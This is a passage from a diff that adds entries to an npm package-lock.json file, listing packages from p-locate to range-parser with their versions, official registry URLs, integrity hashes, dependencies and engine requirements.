"4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.1.tgz", + "integrity": "sha512-e2xXGNhZOZ0lfgR9kL34iGlU8N/KO0xZnQxVEwdeOvpqNDQfdnxIYizvWtK8RglUa3bGqI8g0R/BdfzLMxRkiA==", + "dev": true, + "dependencies": { + "@types/retry": "^0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-timeout": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz", + "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", + "dev": true, + "dependencies": { + "p-finally": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz", + "integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=", + "dev": true, + "dependencies": { + "no-case": "^2.2.0" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-entities": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", + "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==", + "dev": true, + "dependencies": { + "character-entities": "^1.0.0", + "character-entities-legacy": "^1.0.0", + "character-reference-invalid": "^1.0.0", + "is-alphanumerical": "^1.0.0", + "is-decimal": "^1.0.0", + "is-hexadecimal": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-to-regexp/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==" + }, + "node_modules/picomatch": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz", + "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pluralize": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", + "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", + "engines": { + "node": ">=4" + } + }, + "node_modules/popper.js": { + "version": "1.16.1-lts", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", + "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + }, + "node_modules/portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "dev": true, + "dependencies": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/portfinder/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/postcss": { + "version": "7.0.36", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.36.tgz", + "integrity": "sha512-BebJSIUMwJHRH0HAQoxN4u1CN86glsrwsW0q7T+/m44eXOUAxSNdHRkNZPYz5vVUbg17hFgOQDE7fZk7li3pZw==", + "dev": true, + "dependencies": { + "chalk": "^2.4.2", + "source-map": "^0.6.1", + "supports-color": "^6.1.0" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/postcss-html": { + "version": "0.36.0", + "resolved": "https://registry.npmjs.org/postcss-html/-/postcss-html-0.36.0.tgz", + "integrity": "sha512-HeiOxGcuwID0AFsNAL0ox3mW6MHH5cstWN1Z3Y+n6H+g12ih7LHdYxWwEA/QmrebctLjo79xz9ouK3MroHwOJw==", + "dev": true, + "dependencies": { + "htmlparser2": "^3.10.0" + }, + "peerDependencies": { + "postcss": ">=5.0.0", + "postcss-syntax": ">=0.36.0" + } + }, + "node_modules/postcss-less": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-less/-/postcss-less-3.1.4.tgz", + "integrity": "sha512-7TvleQWNM2QLcHqvudt3VYjULVB49uiW6XzEUFmvwHzvsOEF5MwBrIXZDJQvJNFGjJQTzSzZnDoCJ8h/ljyGXA==", + "dev": true, + "dependencies": { + "postcss": "^7.0.14" + }, + "engines": { + "node": ">=6.14.4" + } + }, + "node_modules/postcss-media-query-parser": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/postcss-media-query-parser/-/postcss-media-query-parser-0.2.3.tgz", + "integrity": "sha1-J7Ocb02U+Bsac7j3Y1HGCeXO8kQ=", + "dev": true + }, + "node_modules/postcss-modules-extract-imports": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz", + "integrity": "sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==", + "dev": true, + "dependencies": { + "postcss": "^7.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz", + "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==", + "dev": true, + "dependencies": { + "icss-utils": "^4.1.1", + "postcss": "^7.0.32", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss-modules-scope": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz", + "integrity": "sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==", + "dev": true, + "dependencies": { + "postcss": "^7.0.6", + "postcss-selector-parser": "^6.0.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss-modules-values": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz", + "integrity": "sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==", + "dev": true, + "dependencies": { + "icss-utils": "^4.0.0", + "postcss": "^7.0.6" + } + }, + "node_modules/postcss-resolve-nested-selector": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", + "integrity": "sha1-Kcy8fDfe36wwTp//C/FZaz9qDk4=", + "dev": true + }, + "node_modules/postcss-safe-parser": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-safe-parser/-/postcss-safe-parser-4.0.2.tgz", + "integrity": "sha512-Uw6ekxSWNLCPesSv/cmqf2bY/77z11O7jZGPax3ycZMFU/oi2DMH9i89AdHc1tRwFg/arFoEwX0IS3LCUxJh1g==", + "dev": true, + "dependencies": { + "postcss": "^7.0.26" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/postcss-sass": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/postcss-sass/-/postcss-sass-0.4.4.tgz", + "integrity": "sha512-BYxnVYx4mQooOhr+zer0qWbSPYnarAy8ZT7hAQtbxtgVf8gy+LSLT/hHGe35h14/pZDTw1DsxdbrwxBN++H+fg==", + "dev": true, + "dependencies": { + "gonzales-pe": "^4.3.0", + "postcss": "^7.0.21" + } + }, + "node_modules/postcss-scss": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.1.1.tgz", + "integrity": "sha512-jQmGnj0hSGLd9RscFw9LyuSVAa5Bl1/KBPqG1NQw9w8ND55nY4ZEsdlVuYJvLPpV+y0nwTV5v/4rHPzZRihQbA==", + "dev": true, + "dependencies": { + "postcss": "^7.0.6" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-syntax": { + "version": "0.36.2", + "resolved": "https://registry.npmjs.org/postcss-syntax/-/postcss-syntax-0.36.2.tgz", + "integrity": "sha512-nBRg/i7E3SOHWxF3PpF5WnJM/jQ1YpY9000OaVXlAQj6Zp/kIqJxEDWIZ67tAd7NLuk7zqN4yqe9nc0oNAOs1w==", + "dev": true, + "peerDependencies": { + "postcss": ">=5.0.0" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz", + "integrity": "sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==", + "dev": true + }, + "node_modules/postcss/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss/node_modules/supports-color": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", + "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-error": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-3.0.4.tgz", + "integrity": "sha512-ytLFLfv1So4AO1UkoBF6GXQgJRaKbiSiGFICaOPNwQ3CMvBvXpLRubeQWyPGnsbV/t9ml9qto6IeCsho0aEvwQ==", + "dev": true, + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^2.0.6" + } + }, + "node_modules/pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "dev": true, + "dependencies": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/pretty-format/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/pretty-format/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/pretty-format/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/pretty-format/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true + }, + "node_modules/private": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "dependencies": { + "asap": "~2.0.3" + } + }, + "node_modules/prop-types": { + "version": "15.7.2", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", + "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.8.1" + } + }, + "node_modules/prop-types-extra": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.1.tgz", + "integrity": "sha512-59+AHNnHYCdiC+vMwY52WmvP5dM3QLeoumYuEyceQDi9aEhtwN9zIQ2ZNo25sMyXnbh32h+P1ezDsUpUH3JAew==", + "dependencies": { + "react-is": "^16.3.2", + "warning": "^4.0.0" + }, + "peerDependencies": { + "react": ">=0.14.0" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dev": true, + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "node_modules/psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/pure-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", + "integrity": "sha1-H+Bk+wrIUfDeYTIKi/eWg2Qi8z4=" + }, + "node_modules/qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/querystring": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", + "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", + "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.", + "dev": true, + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/quick-lru": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", + "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/raf": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "dependencies": { + "performance-now": "^2.1.0" + } + }, + "node_modules/rainge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", + "integrity": "sha1-VVKxChES2Ds8StdlB/JBQaUzAcE=", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": 